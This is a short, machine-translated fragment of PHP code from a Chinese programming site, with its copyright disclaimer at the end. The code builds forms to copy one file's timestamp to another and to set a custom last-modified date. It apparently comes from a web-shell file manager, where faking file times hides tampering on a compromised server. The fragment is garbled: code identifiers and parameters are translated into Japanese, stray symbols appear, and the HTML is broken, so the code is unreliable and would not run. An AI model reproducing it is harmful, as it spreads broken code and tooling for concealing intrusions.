$tb->tdbody("ファイルの変更: " .$tb->makeinput('curfile',$file,'readonly')." → ターゲット ファイル: ".$tb->makeinput('tarfile','完全なパスとファイル名が必要です'),' center','2','30');
$tb->makehidden('do','domodtime');
$tb->formfooter('','30'); 🎜> $tb->formheader($action,'カスタム ファイルの最終変更時刻');
$tb->tdbody('
  • 一般的な有効なタイムスタンプの範囲は、1901 年 12 月 13 日金曜日 20:45:54 GMT から 2038 年 12 月 19 日火曜日 03:14:07 までです
    (日付は、(由来の) 32 ビット符号付き整数の最小値と最大値に基づいています。 /li>

  • 説明: 日は 01 から 30 まで、時間は 0 から 24 まで、分と秒は 0 から 60 までです!
');
$tb->tdbody('現在のファイル名: '.$file);
$tb->makehidden('curfile',$file); tdbody('次のように変更します: '.$tb->makeinput('year','1984','','text','4').' year'.$tb->makeselect( array('name '=>'month','option'=>$cachemonth,'selected'=>'10月')).'month'.$tb->makeinput('data','18 ','' ,'text','2').'日'.$tb->makeinput('時間','20','','テキスト','2').'時間'.$tb-> makeinput('分','00','','テキスト','2').'
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。